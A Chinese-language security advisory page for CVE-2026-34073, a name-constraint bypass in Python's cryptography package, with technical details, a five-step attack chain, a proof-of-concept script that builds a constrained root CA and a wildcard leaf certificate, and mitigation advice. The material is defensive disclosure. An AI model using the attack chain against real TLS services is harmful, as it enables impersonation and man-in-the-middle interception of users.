IPBUF安全漏洞报告
English
CVE-2026-34073 CVSS 5.3 中危

CVE-2026-34073 Python cryptography证书验证绕过漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34073
漏洞类型
证书验证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
cryptography (Python Package)

相关标签

证书验证绕过Pythoncryptography逻辑漏洞

漏洞概述

Python cryptography包在46.0.6版本前存在安全漏洞。由于DNS名称约束验证逻辑存在缺陷,系统仅检查子证书的SAN字段,未验证实际连接的对等名称。攻击者可利用此漏洞,使用通配符证书绕过父证书的排除约束,成功验证受限域名(如bar.example.com),导致安全策略失效,存在中间人攻击风险。

技术细节

该漏洞源于Python cryptography库在X.509证书路径验证过程中的逻辑缺陷。在标准的PKI体系中,NameConstraints扩展用于限制证书颁发机构可以签发的域名范围,包括允许和禁止的子树。受影响版本在实现验证逻辑时,仅检查了子证书中的SAN(Subject Alternative Name)字段是否符合通配符匹配规则,但忽略了对上级证书中NameConstraints所定义的排除子树的检查。攻击者若拥有一个合法的通配符证书(例如*.example.com),即可利用该漏洞向服务器验证一个被父证书明确禁止的域名(例如bar.example.com)。由于验证逻辑未将实际连接的对等名称与排除约束进行比对,攻击者可以绕过安全限制,建立受信任的连接。这种绕过破坏了证书信任链的完整性,可能被用于网络钓鱼或中间人攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别出目标系统使用了存在漏洞的Python cryptography库版本(< 46.0.6)。
STEP 2
步骤2:证书获取
攻击者获取了目标域名的父CA签发的合法通配符证书(例如 *.example.com)。
STEP 3
步骤3:发起恶意连接
攻击者向目标服务器发起TLS握手,在SNI或HTTP Host头中指定被父证书排除的受限域名(如 bar.example.com),并出示通配符证书。
STEP 4
步骤4:验证绕过
目标服务器使用有漏洞的库进行验证。库检查到 bar.example.com 匹配 *.example.com,但忽略了根证书中关于 bar.example.com 的排除约束,错误地返回验证成功。
STEP 5
步骤5:达成攻击
攻击者成功建立受信任的连接,可能进行中间人攻击或冒充受限服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-34073 # This script demonstrates the certificate configuration that triggers the bug. # Actual exploitation requires a vulnerable version of cryptography (< 46.0.6). from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PrivateFormat, NoEncryption import datetime import ipaddress # 1. Generate Root CA with Name Constraints (Excluding bar.example.com) root_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) root_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Example Root CA")]) root_cert = ( x509.CertificateBuilder() .subject_name(root_name) .issuer_name(root_name) .public_key(root_key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) .add_extension( x509.BasicConstraints(ca=True, path_length=None), critical=True, ) # The critical extension: Exclude bar.example.com .add_extension( x509.NameConstraints( permitted_subtrees=None, excluded_subtrees=[x509.DNSName("bar.example.com")] ), critical=True, ) .sign(root_key, hashes.SHA256()) ) # 2. Generate Leaf Certificate for *.example.com leaf_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) leaf_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "*.example.com")]) leaf_cert = ( x509.CertificateBuilder() .subject_name(leaf_name) .issuer_name(root_name) .public_key(leaf_key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) .add_extension( x509.SubjectAlternativeName([x509.DNSName("*.example.com")]), critical=True, ) .sign(root_key, hashes.SHA256()) ) print(f"Root Certificate generated with Excluded Subtree: bar.example.com") print(f"Leaf Certificate generated for: *.example.com") print("\nVulnerable Behavior:") print("In versions < 46.0.6, verifying 'bar.example.com' against the leaf cert would succeed,") print("ignoring the exclusion in the root certificate.")

影响范围

cryptography < 46.0.6

防御指南

临时缓解措施
建议立即更新Python环境中的cryptography依赖库。若无法立即升级,应在应用程序代码层添加严格的域名白名单校验逻辑,确保服务端接受的域名完全符合预期,拒绝任何通配符匹配下的受限域名请求,或在网络边界部署WAF进行流量过滤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表